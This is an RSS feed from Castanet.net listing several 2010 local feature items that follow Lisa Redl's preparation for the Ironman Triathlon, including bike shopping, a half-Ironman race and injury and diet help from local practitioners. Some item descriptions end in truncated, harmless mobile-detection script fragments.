https://www.castanet.net/edition/news-story--990-.htm Thu, 10 Oct 2019 09:19:38 PDT Updated every 10 minutes - FOR PERSONAL USE ONLY Copyright: (C) Castanet.net https://www.castanet.net/rss/ https://www.castanet.net/main_images/logos/KelownaLogos/Castanet_Logo.jpg https://www.castanet.net/edition/news-story--990-.htm https://www.castanet.net/news/Out-There/56530/Lisa-s-final-words-before-Ironman https://www.castanet.net/news/Out-There/56530/Lisa-s-final-words-before-Ironman Thu, 26 Aug 2010 05:00:00 PDT Contributed Lisa Redl's final words before her dreaded Ironman Triathlon. She gets a confidence boost from her sis, detoxified by the ladies at Anew Start and her face peeled by Dr. Luba. Make sure you check out the charity effort for C4 - Crohn's, Colitis and Celiac Coalition... and don't forget to cast you... https://www.castanet.net/news/Out-There/55759/Lisa-s-road-to-Ironman-Part-4 https://www.castanet.net/news/Out-There/55759/Lisa-s-road-to-Ironman-Part-4 Sat, 17 Jul 2010 05:00:00 PDT Contributed Dr. David Wikenheiser, Naturopathic Physician and Dr. Luba Nowek, BS, DC (Hons) have teamed together with Lisa Redl to get her in top form for the Ironman Triathlon at last minutes notice. This week they fix an old injury and try to get her diet right after being diagnosed with Celiac. The goal o... https://www.castanet.net/news/Out-There/55393/Lisa-s-road-to-Ironman-Part-3 https://www.castanet.net/news/Out-There/55393/Lisa-s-road-to-Ironman-Part-3 Sat, 03 Jul 2010 05:00:00 PDT Contributed Lisa and Lindsay Redl compete in the Oliver Half Ironman Triathlon in June to see where they are at when it comes to their preparation for the Subaru Ironman Triathlon in August. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()... https://www.castanet.net/news/Out-There/55367/Part-two-of-Lisa-s-road-to-Ironman https://www.castanet.net/news/Out-There/55367/Part-two-of-Lisa-s-road-to-Ironman Sat, 26 Jun 2010 05:00:00 PDT Contributed Part two of Lisa's road to Ironman... Lisa picks out a road bike at Kelowna Cycle. See Tannille at Kelowna Cycle for all your biking needs.if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()...